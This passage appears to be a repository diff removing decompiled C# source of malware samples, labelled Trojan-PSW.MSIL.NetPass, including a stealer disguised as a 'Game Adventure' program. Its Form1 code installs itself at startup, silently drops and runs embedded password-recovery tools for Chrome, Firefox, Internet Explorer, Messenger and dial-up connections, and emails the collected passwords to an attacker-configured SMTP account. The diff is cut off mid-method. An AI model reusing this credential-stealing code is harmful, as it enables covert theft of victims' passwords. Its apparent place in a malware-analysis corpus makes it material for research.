{
|
||||
private static ResourceManager WpTpLjJV1;
|
||||
private static CultureInfo NTiHR3XxP;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager cWYVkxCLf
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (ResourceManager) null;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo uSMiuCnAY
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (CultureInfo) null;
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] [param: In] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
static q9i8VFuDh7DfErUhK2() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <Module>{40DD94C3-7701-4283-AFD9-3A72B0ED7696}
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
internal class \u003CModule\u003E\u007B40DD94C3\u002D7701\u002D4283\u002DAFD9\u002D3A72B0ED7696\u007D
|
||||
{
|
||||
}
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@ -1,198 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: liZsPRHoKnxnA40Ca2.RPCQITpxWMBHTqDjx6
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using \u0037OqjPvik943DlahFur;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using MuCnAYqWpTLjJV1NTi;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using Stub;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace liZsPRHoKnxnA40Ca2
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class RPCQITpxWMBHTqDjx6
|
||||
{
|
||||
private static readonly RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<R3XxPfWiE6bTrcgj2H> ahFuurRPC;
|
||||
private static readonly RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<\u0038Zht2lV2hXedhAiIuS> QIT5xWMBH;
|
||||
private static readonly RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<User> TqDJjx6li;
|
||||
private static RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<RPCQITpxWMBHTqDjx6.ETDkqS2d7jtSAsJ7xc> ZsPNRoKnx;
|
||||
private static readonly RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<RPCQITpxWMBHTqDjx6.vp6p2nZTuM0TI3Y8MF> nA4B0Ca2E;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static RPCQITpxWMBHTqDjx6()
|
||||
{
|
||||
DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
RPCQITpxWMBHTqDjx6.ahFuurRPC = new RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<R3XxPfWiE6bTrcgj2H>();
|
||||
RPCQITpxWMBHTqDjx6.QIT5xWMBH = new RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<\u0038Zht2lV2hXedhAiIuS>();
|
||||
RPCQITpxWMBHTqDjx6.TqDJjx6li = new RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<User>();
|
||||
RPCQITpxWMBHTqDjx6.ZsPNRoKnx = new RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<RPCQITpxWMBHTqDjx6.ETDkqS2d7jtSAsJ7xc>();
|
||||
RPCQITpxWMBHTqDjx6.nA4B0Ca2E = new RPCQITpxWMBHTqDjx6.bJqJXhmF7IGd0xyF5G<RPCQITpxWMBHTqDjx6.vp6p2nZTuM0TI3Y8MF>();
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static R3XxPfWiE6bTrcgj2H cWYVkxCLf
|
||||
{
|
||||
[DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => (R3XxPfWiE6bTrcgj2H) null;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static \u0038Zht2lV2hXedhAiIuS hXeWdhAiI
|
||||
{
|
||||
[DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => (\u0038Zht2lV2hXedhAiIuS) null;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User WpTpLjJV1
|
||||
{
|
||||
[DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => (User) null;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static RPCQITpxWMBHTqDjx6.ETDkqS2d7jtSAsJ7xc fiE26bTrc
|
||||
{
|
||||
[DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => (RPCQITpxWMBHTqDjx6.ETDkqS2d7jtSAsJ7xc) null;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static RPCQITpxWMBHTqDjx6.vp6p2nZTuM0TI3Y8MF Pvkm943Dl
|
||||
{
|
||||
[DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => (RPCQITpxWMBHTqDjx6.vp6p2nZTuM0TI3Y8MF) null;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ETDkqS2d7jtSAsJ7xc
|
||||
{
|
||||
public Form1 NTiHR3XxP;
|
||||
[ThreadStatic]
|
||||
private static Hashtable fiE26bTrc;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Form1 hXeWdhAiI() => (Form1) null;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void uSMiuCnAY([In] Form1 obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static T L58AdZeAo<T>(T Instance) where T : Form, new() => (T) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void cWYVkxCLf<T>([In] ref T obj0) where T : Form
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public ETDkqS2d7jtSAsJ7xc()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override bool Equals([In] object obj0) => true;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override int GetHashCode() => 0;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal System.Type j8Zqht2l2() => (System.Type) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override string ToString() => (string) null;
|
||||
|
||||
static ETDkqS2d7jtSAsJ7xc() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class vp6p2nZTuM0TI3Y8MF
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override bool Equals([In] object obj0) => true;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override int GetHashCode() => 0;
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal System.Type L58AdZeAo() => (System.Type) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override string ToString() => (string) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static T cWYVkxCLf<T>(T instance) where T : new() => (T) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void j8Zqht2l2<T>([In] ref T obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public vp6p2nZTuM0TI3Y8MF()
|
||||
{
|
||||
}
|
||||
|
||||
static vp6p2nZTuM0TI3Y8MF() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class bJqJXhmF7IGd0xyF5G<T> where T : new()
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal T L58AdZeAo() => (T) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public bJqJXhmF7IGd0xyF5G()
|
||||
{
|
||||
}
|
||||
|
||||
static bJqJXhmF7IGd0xyF5G() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyCopyright("Copyright © Game Adventure 2009")]
|
||||
[assembly: Guid("527da709-3806-45de-8791-59299c3405c6")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyTitle("Game Adventure")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyCompany("Game Adventure Inc.")]
|
||||
[assembly: AssemblyDescription("Game Adventure")]
|
||||
[assembly: AssemblyProduct("Game Adventure")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,694 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.Form1
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using GAdvt.My;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace GAdvt
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox _TextBox2;
|
||||
[AccessedThroughProperty("TextBox3")]
|
||||
private TextBox _TextBox3;
|
||||
[AccessedThroughProperty("Timer3")]
|
||||
private System.Windows.Forms.Timer _Timer3;
|
||||
[AccessedThroughProperty("TextBox4")]
|
||||
private TextBox _TextBox4;
|
||||
[AccessedThroughProperty("TextBox5")]
|
||||
private TextBox _TextBox5;
|
||||
private string antis;
|
||||
private string[] optionz;
|
||||
private string emailAddress;
|
||||
private string emailPassword;
|
||||
private string emailSmtp;
|
||||
private string emailPort;
|
||||
private string stub;
|
||||
private string msgTitle;
|
||||
private string msgBody;
|
||||
private const string FileSplit = "@therefengerulezagain@";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.TextBox2 = new TextBox();
|
||||
this.TextBox3 = new TextBox();
|
||||
this.Timer3 = new System.Windows.Forms.Timer(this.components);
|
||||
this.TextBox4 = new TextBox();
|
||||
this.TextBox5 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
Point point1 = new Point(21, 94);
|
||||
Point point2 = point1;
|
||||
textBox1_1.Location = point2;
|
||||
this.TextBox1.Multiline = true;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
Size size1 = new Size(248, 155);
|
||||
Size size2 = size1;
|
||||
textBox1_2.Size = size2;
|
||||
this.TextBox1.TabIndex = 0;
|
||||
TextBox textBox2_1 = this.TextBox2;
|
||||
point1 = new Point(21, 33);
|
||||
Point point3 = point1;
|
||||
textBox2_1.Location = point3;
|
||||
this.TextBox2.Name = "TextBox2";
|
||||
TextBox textBox2_2 = this.TextBox2;
|
||||
size1 = new Size(81, 20);
|
||||
Size size3 = size1;
|
||||
textBox2_2.Size = size3;
|
||||
this.TextBox2.TabIndex = 1;
|
||||
TextBox textBox3_1 = this.TextBox3;
|
||||
point1 = new Point(144, 34);
|
||||
Point point4 = point1;
|
||||
textBox3_1.Location = point4;
|
||||
this.TextBox3.Name = "TextBox3";
|
||||
TextBox textBox3_2 = this.TextBox3;
|
||||
size1 = new Size(96, 20);
|
||||
Size size4 = size1;
|
||||
textBox3_2.Size = size4;
|
||||
this.TextBox3.TabIndex = 2;
|
||||
TextBox textBox4_1 = this.TextBox4;
|
||||
point1 = new Point(21, 59);
|
||||
Point point5 = point1;
|
||||
textBox4_1.Location = point5;
|
||||
this.TextBox4.Name = "TextBox4";
|
||||
TextBox textBox4_2 = this.TextBox4;
|
||||
size1 = new Size(96, 20);
|
||||
Size size5 = size1;
|
||||
textBox4_2.Size = size5;
|
||||
this.TextBox4.TabIndex = 3;
|
||||
TextBox textBox5_1 = this.TextBox5;
|
||||
point1 = new Point(144, 60);
|
||||
Point point6 = point1;
|
||||
textBox5_1.Location = point6;
|
||||
this.TextBox5.Name = "TextBox5";
|
||||
TextBox textBox5_2 = this.TextBox5;
|
||||
size1 = new Size(96, 20);
|
||||
Size size6 = size1;
|
||||
textBox5_2.Size = size6;
|
||||
this.TextBox5.TabIndex = 4;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(373, 270);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.TextBox5);
|
||||
this.Controls.Add((Control) this.TextBox4);
|
||||
this.Controls.Add((Control) this.TextBox3);
|
||||
this.Controls.Add((Control) this.TextBox2);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.Name = nameof (Form1);
|
||||
this.StartPosition = FormStartPosition.Manual;
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
|
||||
if (this._Timer3 != null)
|
||||
this._Timer3.Tick -= eventHandler;
|
||||
this._Timer3 = value;
|
||||
if (this._Timer3 == null)
|
||||
return;
|
||||
this._Timer3.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox5
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox5;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox5 = value;
|
||||
}
|
||||
|
||||
public string DialUpPWshow()
|
||||
{
|
||||
byte[] dialupass = GAdvt.My.Resources.Resources.Dialupass;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\dialup.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) dialupass, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\dialup.exe /stext " + Interaction.Environ("tmp") + "\\data.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\data.txt");
|
||||
}
|
||||
|
||||
public string IE()
|
||||
{
|
||||
byte[] iepv = GAdvt.My.Resources.Resources.iepv;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\iepv.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) iepv, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\iepv.exe /stext " + Interaction.Environ("tmp") + "\\iepv.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\iepv.txt");
|
||||
}
|
||||
|
||||
public string mess()
|
||||
{
|
||||
byte[] mspass = GAdvt.My.Resources.Resources.mspass;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\mspass.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) mspass, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\mspass.exe /stext " + Interaction.Environ("tmp") + "\\mess.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\mess.txt");
|
||||
}
|
||||
|
||||
public string firefoxpass()
|
||||
{
|
||||
byte[] passwordFox = GAdvt.My.Resources.Resources.PasswordFox;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\passwordfox.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) passwordFox, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\passwordfox.exe /stext " + Interaction.Environ("tmp") + "\\firefox.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\firefox.txt");
|
||||
}
|
||||
|
||||
public string chrome()
|
||||
{
|
||||
byte[] chromePass = GAdvt.My.Resources.Resources.ChromePass;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\ChromePass.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) chromePass, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\ChromePass.exe /stext " + Interaction.Environ("tmp") + "\\ChromePass.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\ChromePass.txt");
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.nonsense();
|
||||
this.Visible = false;
|
||||
}
|
||||
|
||||
public void nonsense() => this.thiswillmaketheprocesslonger(3);
|
||||
|
||||
public void thiswillmaketheprocesslonger(int x)
|
||||
{
|
||||
label_0:
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
int num3 = 1;
|
||||
if (checked (x * x + 1) != 10)
|
||||
{
|
||||
ProjectData.EndApp();
|
||||
goto label_55;
|
||||
}
|
||||
else
|
||||
{
|
||||
label_2:
|
||||
num3 = 4;
|
||||
}
|
||||
label_3:
|
||||
num3 = 5;
|
||||
Form1.AddStartup(this.Text, Application.ExecutablePath);
|
||||
label_4:
|
||||
num3 = 6;
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
label_5:
|
||||
num3 = 7;
|
||||
this.emailAddress = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_6:
|
||||
num3 = 8;
|
||||
this.emailPassword = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_7:
|
||||
num3 = 9;
|
||||
this.emailSmtp = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_8:
|
||||
num3 = 10;
|
||||
this.emailPort = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_9:
|
||||
num3 = 11;
|
||||
this.antis = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_10:
|
||||
num3 = 12;
|
||||
this.msgTitle = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_11:
|
||||
num3 = 13;
|
||||
this.msgBody = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_12:
|
||||
num3 = 14;
|
||||
FileSystem.FileGet(1, ref this.emailAddress);
|
||||
label_13:
|
||||
num3 = 15;
|
||||
FileSystem.FileGet(1, ref this.emailPassword);
|
||||
label_14:
|
||||
num3 = 16;
|
||||
FileSystem.FileGet(1, ref this.emailSmtp);
|
||||
label_15:
|
||||
num3 = 17;
|
||||
FileSystem.FileGet(1, ref this.emailPort);
|
||||
label_16:
|
||||
num3 = 18;
|
||||
FileSystem.FileGet(1, ref this.antis);
|
||||
label_17:
|
||||
num3 = 19;
|
||||
FileSystem.FileGet(1, ref this.msgTitle);
|
||||
label_18:
|
||||
num3 = 20;
|
||||
FileSystem.FileGet(1, ref this.msgBody);
|
||||
label_19:
|
||||
num3 = 21;
|
||||
FileSystem.FileClose(1);
|
||||
label_20:
|
||||
num3 = 22;
|
||||
this.optionz = Strings.Split(this.emailAddress, "@therefengerulezagain@");
|
||||
label_21:
|
||||
num3 = 23;
|
||||
this.TextBox2.Text = this.optionz[1];
|
||||
label_22:
|
||||
num3 = 24;
|
||||
this.TextBox3.Text = this.optionz[2];
|
||||
label_23:
|
||||
num3 = 25;
|
||||
this.TextBox4.Text = this.optionz[3];
|
||||
label_24:
|
||||
num3 = 26;
|
||||
this.TextBox5.Text = this.optionz[4];
|
||||
label_25:
|
||||
num3 = 27;
|
||||
if (Operators.CompareString(this.optionz[5], "False", false) == 0)
|
||||
goto label_28;
|
||||
label_26:
|
||||
num3 = 29;
|
||||
label_27:
|
||||
num3 = 30;
|
||||
this.Timer3.Start();
|
||||
label_28:
|
||||
num3 = 32;
|
||||
if (!(Operators.CompareString(this.optionz[6], "", false) != 0 | Operators.CompareString(this.optionz[7], "", false) != 0))
|
||||
goto label_30;
|
||||
label_29:
|
||||
num3 = 33;
|
||||
int num4 = (int) Interaction.MsgBox((object) this.optionz[7], MsgBoxStyle.Critical, (object) this.optionz[6]);
|
||||
label_30:
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = -2;
|
||||
label_31:
|
||||
num3 = 36;
|
||||
this.DialUpPWshow();
|
||||
label_32:
|
||||
num3 = 37;
|
||||
this.firefoxpass();
|
||||
label_33:
|
||||
num3 = 38;
|
||||
this.mess();
|
||||
label_34:
|
||||
num3 = 39;
|
||||
this.IE();
|
||||
label_35:
|
||||
num3 = 40;
|
||||
this.chrome();
|
||||
label_36:
|
||||
num3 = 41;
|
||||
this.TextBox1.Text = System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\firefox.txt") + System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\data.txt") + System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\mess.txt") + System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\iepv.txt") + System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\ChromePass.txt");
|
||||
label_37:
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = 2;
|
||||
label_38:
|
||||
num3 = 43;
|
||||
MailMessage message = new MailMessage();
|
||||
label_39:
|
||||
num3 = 44;
|
||||
message.From = new MailAddress(this.TextBox2.Text);
|
||||
label_40:
|
||||
num3 = 45;
|
||||
message.To.Add(this.TextBox2.Text);
|
||||
label_41:
|
||||
num3 = 46;
|
||||
message.Subject = MyProject.Computer.Name + " : Password Logs";
|
||||
label_42:
|
||||
num3 = 47;
|
||||
message.Body = this.TextBox1.Text;
|
||||
label_43:
|
||||
num3 = 48;
|
||||
SmtpClient smtpClient = new SmtpClient(this.TextBox4.Text);
|
||||
label_44:
|
||||
num3 = 49;
|
||||
smtpClient.Port = Conversions.ToInteger(this.TextBox5.Text);
|
||||
label_45:
|
||||
num3 = 50;
|
||||
smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text);
|
||||
label_46:
|
||||
num3 = 51;
|
||||
smtpClient.EnableSsl = true;
|
||||
label_47:
|
||||
num3 = 52;
|
||||
smtpClient.Send(message);
|
||||
ProjectData.EndApp();
|
||||
goto label_55;
|
||||
label_50:
|
||||
num2 = num3;
|
||||
switch (num1 > -2 ? num1 : 1)
|
||||
{
|
||||
case 1:
|
||||
int num5 = num2 + 1;
|
||||
num2 = 0;
|
||||
switch (num5)
|
||||
{
|
||||
case 1:
|
||||
goto label_0;
|
||||
case 2:
|
||||
case 3:
|
||||
case 53:
|
||||
case 54:
|
||||
case 56:
|
||||
case 57:
|
||||
case 58:
|
||||
goto label_55;
|
||||
case 4:
|
||||
goto label_2;
|
||||
case 5:
|
||||
goto label_3;
|
||||
case 6:
|
||||
goto label_4;
|
||||
case 7:
|
||||
goto label_5;
|
||||
case 8:
|
||||
goto label_6;
|
||||
case 9:
|
||||
goto label_7;
|
||||
case 10:
|
||||
goto label_8;
|
||||
case 11:
|
||||
goto label_9;
|
||||
case 12:
|
||||
goto label_10;
|
||||
case 13:
|
||||
goto label_11;
|
||||
case 14:
|
||||
goto label_12;
|
||||
case 15:
|
||||
goto label_13;
|
||||
case 16:
|
||||
goto label_14;
|
||||
case 17:
|
||||
goto label_15;
|
||||
case 18:
|
||||
goto label_16;
|
||||
case 19:
|
||||
goto label_17;
|
||||
case 20:
|
||||
goto label_18;
|
||||
case 21:
|
||||
goto label_19;
|
||||
case 22:
|
||||
goto label_20;
|
||||
case 23:
|
||||
goto label_21;
|
||||
case 24:
|
||||
goto label_22;
|
||||
case 25:
|
||||
goto label_23;
|
||||
case 26:
|
||||
goto label_24;
|
||||
case 27:
|
||||
goto label_25;
|
||||
case 28:
|
||||
